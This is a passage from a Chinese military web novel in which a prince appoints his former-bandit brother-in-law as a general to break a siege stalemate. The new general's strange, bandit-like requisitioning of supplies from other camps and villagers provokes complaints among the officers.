武将们你看我、我看你,似乎对天方夜谭般的建议都有些不信任。最后欧阳复第一个站出来抱拳说:“末将同意。敌我之间的太透彻了,连对方的行事风格也了如指掌。如此所造成的后果是彼此畏手畏脚,不敢轻举枉动。如果赵猛真如他们说的,行军风格大不相同,我们不妨试一下,说不定会有奇效出现。”
“末将同意!”
其他武将犹豫一会儿后,想想没别的好办法,而且方才的话说得有理,最后还是同意这个有些天马行空的办法。
“好!”
许平面无表情地点头,令道:“传令赵猛,立刻动身。马累死就换一匹,用最快速度给我赶过来。”
“还有!”
许平顿了一下,朝略显失落的武将们大声喝道:“你们全都给我好好研究攻城策略,我们不能指望天机营为我们掩护。他们是开朝大营,你们也是御林大军,给我拿出气势,知道吗?”
“是!”
众将齐声跪地告退,看得出来学子们的办法让他们有些难堪。不过许平的话刺激了他们,走出去时一个个沉着脸,似乎在检讨自己的想法是不是太保守了。
“你们也下去吧丨?”
许平挥退众学子时,目光不满地看向杜宏。从刚才他的表现来看,似乎他也有这个想法才是。
但他却没有说出来,而是让孙正农和刘士山两个有功在身的人来发言。一是怕得罪这些武将,二是怕说了赵猛的出身会惹恼自己。聪明是不错,但八面玲珑的聪明,有时让人感觉有点厌恶。
有才气是没错,他谨慎的态度也适合在官场生存。只是现在是非常时期,第一个想到的是周全自己,这种思想难免让人有些鄙夷。
许平不知该称赞还是该讨厌,想来想去都是人之常情,只能无奈地摇头,低头继续翻看呈送上来的情报。
第二章土匪作风!
首次大败以后,洛勇没有急于继续攻打津门,而是先冷静因为溃败而有些恼怒的情绪。安抚兵将情绪后,先把有伤在身的兵丁全送到后方休养。补给运到后,马上将天机营再次调整分列成九个完整编制的大营,针对周井的新布防试探性地打了几个小仗,从他们的反应揣摩新的策略。
大战过后的气氛诡异得宁静,天机营没有因为奇耻大辱而武断求战。大胜过后的津门叛军更加沉得住气,眼下士气高涨许多,将领都请求出战,但硬生生地被周井压下。
洛勇没有恼怒到发难,周井也是异常沉稳。即使是三军请战,也没有趁胜利后士气正高时穷追猛打,而是休养生息,继续调动物资,摆出一副以不变应万变的态度。
对此纪龙也有点不解,亲自和周井详谈。纪龙虽然有时刚愎自用,但面对周井还是恭敬有礼。最值得称赞的是他的态度,兵权移交后就不会再干涉所有军政,在周井的坚持下,也没有过问行军的事,把一切决定权都交给这位被朝廷辱没的世之奇才。
“这两个老妖怪!”
两天过去了,双方全是一些小打小闹的摩擦。许平拿着情报琢磨好久,不禁笑了一下,摇头说:“一个是滴水不漏,做得天衣无缝;另一个油盐不进,简直像在玩耍!他们是在比排兵布阵,还是在为出家做准备?老实得有点过分了吧!”
这几天天气晴朗,恶鬼营全军上下都不停操练。在兵将一阵阵有力的嘶喝声中,许平带着手下在树林里喝茶。这两天静下心来,思想转变得很快,以前总感觉打仗应该是轰轰烈烈的事情,金戈铁马、快意恩仇,万分洒脱!刀锋一指、万马陷阵,帅印执手,踏遍累累骸骨,踏尸而行,立大国军威!
但现在看来,现实和理想还是有很大的差距。别说现在两边微妙的试探,就连两个统兵之人都让人郁闷无比,完全没有大气蓬勃的感觉,反而像是城府极深的阴谋家,手里的兵马是一颗颗棋子,在他们心里进行一场最是谨慎、最为阴险的博奕!
现在比的似乎是谁最能沉得住气,等待哪方先露出破绽。洛勇一改先前豪放无比的风格,用极端冷静的态度对待。这种强烈的反差,很多人都不能理解,许平也是有些猜不透。好像一开始洛勇也有点轻敌,直到现在才开始用百分之百的注意力来面对周井这个对手。
欧阳复在旁边老实地待着,见许平的心情似乎轻松许多,用开玩笑的口吻说:
“周井和饶骑将军的行军风格还真接近!两人都是用兵如神,都在互相试探对方的底线。眼下看来似乎如我们所料,局势进入尴尬的对峙。天机营吃了那么大的亏,骁骑将军一点都不急躁,而大胜后的周井也没半点浮夸之气,双方似乎都严阵以待,不想给对方任何可以抓住弱点的机会。”
“完美的布阵呀!”
关大明旁看着新勾画出来的战势地图,佩服之余也是苦笑:“这两个人实在让人琢磨不透。按理说,布防的落点不能分得那么散,但周井却把兵马分得很开。表面上看是散沙一团,细一看,各个驻扎点却依着有利地形,节节呼应。不仅无法一击而破,而且各队人马都能首尾相接,一旦有战事就能马上互相呼应。比起一开始的品字形布防,高明了不知道多少倍!”
“你说天机营是赢是输?”
陈奇若有所思地看了一会儿后,抑制不住有些恼怒的情绪,咬牙切齿:“我感觉我们都被骁骑将军耍了,他根本没想在一开始直攻城下。虽然前几夜的大战是大败而归,但他却逼周井把最好的防守拿出来。他一开始摆出胡搅蛮缠的架势,根本不是要兵临城下直接开打,而是逼迫周井将布防变化拿出来让他看看。”
“这老狐狸丨?”
许平冷笑,有些恼怒,也有点无奈。这样看来确实是被洛勇耍了,而且他耍的不只是恶鬼营和自己,还有天机十营的将军们!
恶鬼营的行军推进会吸引津门的注意力,他趁着这个机会发难,当然事半功倍,以不到一万人马弄得津门周边鸡犬不宁。从整体来说,确实破坏品字形布防,但他最终的目的却不是这个。到头来自己成了他诱惑敌人的傻子,他奶奶的。
“不谈这些了!”
许平虽然心里不快,但怕引起麾下人马对洛勇的不满情绪,马上摆手:“战局瞬息万变,他们也不能全算计清楚,有时也是无奈之举。毕竟战机稍纵即逝,抓住时机,做出最好的决断,只能说是他高叨。我们现在要想的是怎么把握机会,不能老像没事人般在一边待着。”
“那倒是!”
关大明赞同地点头,众人自然也明白许平的心思。在特殊时候不能扩散恐怖的思想,还没等开打就先和天机营产生心理上的隔阂,在目前来看绝对不是什么好事!
众人一边抿茶,一边讨论目前情况。在许平刻意调节下,气氛还算轻松无比,起码没有前两夜那种凝重的压迫感,偶尔开一点小玩笑也无伤大雅。
许平一直表现得很是惬意,似乎忘掉现在的压力,连带其他人也不会紧张,思想上也变得灵敏起来。
记得镇北王纪中云孤身入京之时,京城里算是人心惶惶,到处都不停地传播着流言蜚语。别说百姓议论纷纷很是惶恐,就连朝廷百官都忐忑不安,那时面对这种情况,许平和朱允文都头痛得要命。许平深深记得那时外公意味深长地说过:
“你们两个呀,急归急,不能让别人看出来。连你们都一副如临大敌的样子,教朝廷百官和天下百姓怎么看!”
联想起两日来全军上下沉重的气氛,许平明白问题全出在自己身上。目前局势虽然僵持,但没有不利的地方,是自己太过于急躁、太过于不耐烦了!这个气氛很快地散开,手下一看自己的状态,连带着也会焦躁不安,才导致文官、武将们战战兢兢,不敢多言战事。
想通这一点后,许平赶紧调整自己的心理。虽然还烦恼着眼前情况,也对洛勇的戏耍有些咬牙,不过表面上恢复嘻笑怒骂的洒脱。这个快速的改变果然收到效果,原本有些颓废的大军看到主子很轻松,一扫之前的阴霾,再次变得有精神。
这两日的操练也变得活跃,兵将之间不再相对无语,兵营上下恢复以往的轻松和随性。
众人相谈甚欢之时,杜宏突然快步跑过,气喘吁吁又满面喜色:“主子,赵将军来了!”
“你们继续操练吧。”
许平示意其他人继续谈论,想想似乎有大半年没看到赵猛,马上起身让杜宏把赵猛带来见自己。
回到营帐之中,许平还没坐下,赵猛已经满面微笑地走进来。时过境迁,以前当土匪时,他满身凶悍之气,虽说义薄云天,但少不了几分的阴狠老辣!这会儿妹妹已经是准太子妃人选,当上皇亲以后,气质上有了微妙变化,不再像以前随性火爆!唯一不变的是强壮的身躯,以及大步迈进时无拘无束的洒脱。
“末将赵猛,参见殿下!”
赵猛满面高兴,跪地行了一礼。这段时间他严肃地处理防线问题,接到命令让他来前线也让他吃了一惊,直到现在还想不明白,怎么会在这时突然调自己过来。
“不是赵猛,是大舅爷吧!”
许平面露温和之色笑了笑,命人赐坐、上茶之后,一脸关切地问:“河北那边怎么样了?新的天工部组建顺利吗?”
“按部就班地进行!”
赵猛高兴地点头,难掩赞许:“没想到铃儿这丫头那么聪明,以前我不觉得她八面玲珑、冰雪聪慧。现在想想是我低估我这妹子了!目前天工部的组建很顺利,现在基本上都安定下来,不少师傅继续干活,没受到什么太大影响。”
“那她怎么样了?”
许平感到满心暖意。这个可人的小丫头实在是个贤内助,总能漂亮地办好自己交给她的差事,温柔体贴又精明能干。想想这丫头柔弱外表下那强朝的心,还有她办起事来倔强的一面,又担心她会废寝忘食、不爱惜自己的身体。
“瘦了……”
赵猛无奈地叹息一声,摇头说:“这丫头性子有点倔,我告诉她要按时休息,别老空着肚子办事,但她嘴上一直答应,一忙就又忘了。唉……怎么说都说不听。”
“这怎么行呀!”
许平一听,心疼得要命,马上拿起纸笔,一边书写一边关切地说:“事忙点是没错,但也不能废寝忘食呀。我现在给她写个手信!再这么熬下去可不行。”
许平对于赵铃的宠爱众所皆知,这时代的男人不会有这么体贴的细腻。看着高高在上的妹夫满脸心疼,赵猛欣慰又高兴地笑了。等到许平信写完了,才感慨道:“殿下对妹子的宠爱世所罕见,即使市井小民都不会有这种温情!爹娘地下有知也能含笑九泉了。”
“你什么时候也学得文诌诌的,别虚伪了。”
许平把信交给手下后,立刻笑骂一句。这黑脸屠夫还咬文嚼字,纯粹是在熟人面前装斯文,怎么看就怎么别扭。
“呵呵丨”赵猛不好意思地笑了笑,挠了挠头后,满面严肃地问:“殿下,这次你下令急召有什么吩咐?是不是恶鬼营的伤亡过大,要补充兵将了?我那边的新兵一直在训练,虽然不太成熟,但有需要的话,还是可以拉过来用一用的。”
“不是!”
许平摇摇头,沉吟一会儿后,试探地问:“目前骁骑将军和津门叛军对峙着,这个情况你怎么看?”
“我哪有什么看法!”
赵猛错愕了一会儿,回过神来立刻摇头:“他们都是能征善战的大将军,排兵布阵自然高明得很。我一个村野莽夫哪懂得了那么多?这一路过来确实到处都在讨论,不少人把周井说得神而又神,朝廷这次首战溃败让人惊讶不小。毕竟是洛将军亲自统兵,这种结果让很多人都无法接受。”
“看看这些排兵布阵之道还有他们的驻扎点,有什么想法?”
许平指着自己身前的地图,眼里露出一丝笑意。看来是自己看走眼了,赵猛虽然粗犷,其实是粗中有细的人!
“我看看呀!”
赵猛弄不清楚许平葫芦里卖的是什么药,却还是走上前去细细揣摩一会儿。
他的眼珠转来转去,转了大半天后,一拍脑子,整个人恍然大悟,似乎从地图上迅速读懂了什么。
许平一看,立刻关切地问:“看出什么了?”
赵猛皱着个眉头,指着地图上标志叛军的红点,有些木讷地说:“这个红色的应该是周井的军队吧!他应该比骁骑将军更熟悉这一带的地形,所以驻扎点都是依山傍水的兵家胜地、进可攻退可守的好地方。他布置在外围的兵马虽然少,但想攻打过去也不是什么容易的事丨?”
“这样?”
许平不禁失望,这些粗浅处谁都看得出来。这也是洛勇两天来按兵不动的原因,面对环环相扣的防守,一时之间想不出有什么好办法破解。
“不是不是!”
赵猛以为许平生气,赶紧挥手解释:“这些地方虽然看起来不错,但有利同样有弊!有的是山高林密,不利于集结兵力;有的三面环水,没有多少活动空间。这种地形适合防守,但不适合逃跑!一旦他们受到袭击时接应不上,很容易会被人困死的!”
“这样啊!”
许平听完,顿时精神一振,忍不住兴奋地问:“要是你来带兵的话,你会怎么打?”
赵猛的心思全沉浸在地图上,沉吟好一会儿后咬牙说:“先不和他们真刀真枪的打,用袭扰的办法让他们吃不好、睡不好,搞得他们人仰马翻以后,挑一个最难求援的先干掉,再用其他办法切断他们的联系。到时候他们运动能力不足的弊端就会显现出来!”
“好!”
许平呵呵笑了起来,在赵猛还没回过神来时,严声令道:“传令,赵猛即日任恶鬼一营将军。统一万大军,赐甲刻印,即刻上任!”
“什么?”
赵猛回过神来后大吃一惊,有些惶恐地说:“开什么玩笑呀,我不过说说而已,那些都是以前我们常常用的办法。这些行军打仗的事我哪懂,让我和正规军打,哪行呀?”
“就是要你对这些什么都不懂,但却有不一样的办法!”
许平满面赞许,拍了拍他的肩膀,亲热地说:“兵贵神速,战胜于奇,谋取于诡。既然这些人都是正规军出身,我就让你这土匪出身的来胡搅蛮缠。任他周井再料事如神,也跟不上你们这种最实用的风格。”
“可是我……”
赵猛还有些忐忑,刚想推托时,许平马上打断他的话,斩钉截铁地说:“你把自己带来的几百兵马也一起用着吧,这事你别害怕,我不是要你打下津门,而是要你彻底弄乱眼下的局面。”
“弄乱局面?”
赵猛似乎想到了什么,有些为难地看着许平,满脸尴尬:“我那些办法是上不得台面的。再说有时候太过卑鄙,会不会有损朝廷的威严?”
“不会,愈卑鄙我愈喜欢!”
许平满脸贱笑,乐道:“现在开始你自己想怎么做不必上报,也不必受其他人节制,办法想好了,带兵马去做就行了!一万人马不够我给你两万,你尽管放心大胆去实施你的计策。”
“能行吗?”
赵猛自己心里都没底。虽说在猛虎寨时,火拼起来威风八面,大大小小的火拼也是胜利收场,但他自己看来都是小打小闹,上不了台面,哪能在这个大场面发挥作用?
“能行,碰上什么情况你都可以先斩后奏!”
许平说这话时顿了一下,马上沉下脸一字一句地说:“我不管你用什么手段,我只求结果。你要什么人,我就给你什么人;要什么东西,我就给你什么东西I?哪怕你用的手段穷凶极恶,但只要达到效果,你都是大功一件。”
“我……尽量试试吧!”
赵猛还有些忐忑,看着兵丁捧来的盔甲和帅印,告了一礼后,随他们下去更衣受封,只不过脸上多少有点彷徨。
“但愿有效吧!”
许平看着赵猛的背影,深深叹息一声,虽说兵出奇招,但对于他的办法,多少有点担忧。毕竟这是战场,突然起用他率领大军,还是有冒险的成分,只希望这次众望所归的决策不会出什么纰漏。毕竟起用他已经不妥,而学子们举荐他的理由更是天马行空,一旦失败,连自己都会成为别人的笑柄。
当天下午赵猛受封将军一职,在众多兵将还没反应过来时,已经执掌恶鬼一营,成了全军上下最陌生的将军。
他上任第一件事不是和兵将们互相熟悉攀谈,也不是拉拢关系,熟悉自己手下的兵马,而是罗列很多奇怪的物资,让后勤准备。这个举措让很多人摸不着头脑,不过许平力挺之下,也没人敢有半点疑虑。
接下来的事更是怪异,他在地图上不停地画着,找来熟悉地形的兵将一一打听,马上又在各个军营里逛起来,不停地在他们的后勤处察看,看起来成竹在胸,但还是让人感觉很是忐忑。
还没等到天黑,赵猛先把自己的几百兵马悄悄派出去,天黑时才带着搜罗来的物资和粮草,率领一万人马浩浩荡荡绕过津门南边防线,悄悄借道朝东北赶去。
夜里繁星高挂,营帐之内,关大明看着长长的物资清单,皱眉有些不解:“这赵猛要的东西也太奇怪了吧?别的不说,光狼烟就要了两百多斤!边境上烧十年都烧不完,况且就算他碰上危险而烧烟,也不会有人救援。他要干什么?”
“谁知道!”
陈奇也凑过来看了几眼,愤愤不平地说:“还有活牛一百头呢!这可是全军上下十天的荤食。我说他不会是让兵马顿顿都吃肉吧,要不然怎么全带走了!更可恶的是他趁我不在军中,生拉硬骗的把牛全牵走了!”
“这个更奇怪!”
欧阳复苦笑一下,十分郁阁地说:“他向我要布缎一百匹,兵荒马乱的我上哪去找呀!现在就算想用银子买,附近的百姓也不敢开门做买卖,但他拿着主子的军令说没商量余地,我只能带兵装强盗,到附近镇上洗劫几个布庄的仓库。堂堂御林军成了劫匪,这什么跟什么呀……”
“你那还不算奇怪!”
众人忍不住嚷嚷:“我更离谱,主子一共拨了三百斤的煤油留着晚上照明,现在全被他搜刮走了。晚上我们几千人摸黑走路,一个个都摔得鼻青脸肿,哪有这样的!”
在众人抱怨声中,许平吃过晚饭后,笑呵呵地走进大帐。虽然一眼看出他们不满的情绪,不过还是佯装不知情地问道:“谈什么呢,这么高兴!”
众人心想:哪有什么高兴的事,被你大舅子洗劫一遍,谁高兴得起来。不过这件事是主子斩钉截铁下的令,只能抱怨几句,不能算是责怪吧!但欧阳复还是忍不住说:“主子,赵将军行事还真是不拘一格。上任不到半天就把其他各营,还有地方驻军都洗劫一遍,搞得现在大家都有些回不过神了!”
“洗劫什么了?”
许平故作惊釾地问:“拐跑了你们的兵、偷了你们的马?还是那些盔甲和大刀?不会还有强抢民女的事吧!”
这话明显半调侃半装傻,但意思够明确了。虽说赵猛干得有些匪气,但也没动摇根本,不过是一些乱七八糟的东西,在这抱怨个什么劲!
众人反应过来以后不敢开口。这次许平给赵猛的权力那么大,又给了他独断专行的强权,他要这些东西也不过分。起码人家强要软骗,又不是硬抢的,也说不上有什么大罪过!虽说依令行事,但吃了这种亏,大家心里还是有点不快。
“主子,主子,不好了!”
这时门外有个兵将急匆匆地跑进来,上气不接下气地说:“一、一营惹事了!”
“什么事!”
许平感觉脑袋抽了一下,自己刚用无耻态度压下军中的不满情绪,一营才被带出去还不到半天,又惹什么事了?
杜宏在后边跟着跑进来,一脸焦急,跑得满头大汗,一进来似乎察觉到帐内气氛不是很好,马上走到许平身边,压低声音悄悄说:“主子,赵将军刚出营就纵容兵马抢夺百姓物资,抢走后留下单据,让他们来领征收的补偿。这会儿营门外全是来喊冤的百姓!”
“有这种事!”
许平脑子有些发麻。赵猛还真不能小看,下午还一副忐忑不安的样子,这会儿干的出格事一件接一件!这家伙胆子还真不小,洗劫其他军马不说,现在竟然还连附近村庄都搜罗过。他是去打仗,还是想干回土匪这个有前途的老本行?
“主子,您看……”
欧阳复心翼翼地问了一句,这时候当然不敢说赵猛的坏话,只是眼下众怒难犯,恶鬼营的后勤物资一直是百姓帮忙运送,要是惹恼地方上的百姓,也是一件头疼的事!更何况军中将领本就微词颇多,不说几句也有点说不过去。
“他都抢了什么?”
许平使劲地揉着太阳穴,咬牙问了一句。这简直是刚释放出去的强奸犯,一出去马上就不老实,自己这个决定是不是太草率?
“很杂,什么油呀、炭呀!乱七八糟的什么都有。”
杜{宏想了一下,有些不明白:“不过有一点很奇怪,他抢家畜却不抢家禽。牛和马一律牵走,但驴和猪、羊什么的又不要!抢了人家的粗糠皮,却不抢稻米,属下怎么想都想不明白他到底要干什么?”
“谁想得明白呀。”
许平苦笑一下。别说你们脑子当机,老子也有点转不了弯,若说是纵兵洗劫,又有很大的选择性,似乎他早就有了这个打算。可要说是征用,这种先斩后奏的态度未免也太蛮横了!
“一共多少钱?”
欧阳复一句话点出重点所在,天知道这个退休土匪洗劫了多少东西,目前最重要的是安抚百姓情绪,最好的办法就是补偿他们足够的银两。
“估算了一下,大约白银四万两吧!”
杜宏计算了一下,又补充:“现在还有百姓拿着借据陆续赶来,没有六万两白银恐怕不够。”
众人一听也没办法说什么,兵荒马乱的时候,粮食和牲口远比银子重要。杜宏这价钱应该是按和平时期算的,如果按现在紧张的局势,平时能买十头牛的银两,恐怕现在买一头都不够。也就是说,赵猛洗劫的范围很广,要安抚百姓的话,没几十万两是不够的。
“该给多少就给多少吧!”
许平只能无奈点头,朝欧阳复叮嘱:“别亏了这些百姓,好好登记他们有什么被征收,尽快调集银两过来分给他们!”
“是丨?”
欧阳复答应一声后,赶紧下去办事,离开时还是一脸不解。这要按什么价格给?是按现在虚高的物价,还是按和平时期的估价?
“此事不要再议!”
许平一看众人似乎要开始抱怨,也知道这种行径会影响大军声望。不过自己一开始给了赵猛那么大的权力,也只能支持到底,马上挥手打断他们要说出口的话。
“这终究不妥吧!”
一向狠毒的孙正农,憋了半天还是认为这次的事特别不靠谱!先不说把握性有多大,光是赵猛这一搅和就影响了恶鬼营在这一带百姓嘴里的口碑。
“将在外,军令有所不从。”
许平一看其他人纷纷点头,心里一权衡,觉得还是得先用权力镇压。他脸色一黑,大声喝道:“这么粗浅的道理你们还不懂吗?别说这次是赵猛,就算你们统兵出去打仗,我也会用一样的态度支持。大敌当前,有的事没法准备,难道你们现在要把心思全用来对付自己人?”
“末将、属下不敢。”
众将面面相观,一看许平的态度很坚决,也不再多说什么了。
“我知道你们心里有气!”
许平见大家的语气有些敷衍,犹豫一下,还是紧皱眉头说:“这次我无条件支持他,旗开得胜自然是好的。一旦无功而返,军法无情,我也不会庇护他。是成是败,大家拭目以待好了。”
“殿下英明!”
这次的声音总算有点生气。虽说不是抱着看好戏的态度,但不少人还是好奇赵猛到底要怎么打,为什么要调集那么多奇怪的东西?这个绿林出身的家伙会有什么样的奇思妙计?
不管目前情况怎么样,只要他能打开一个缺口就是大功一件。现在最大的障碍是周家步步为营的防御,一旦撕开一个缺口,这个结果确实是千金难买的。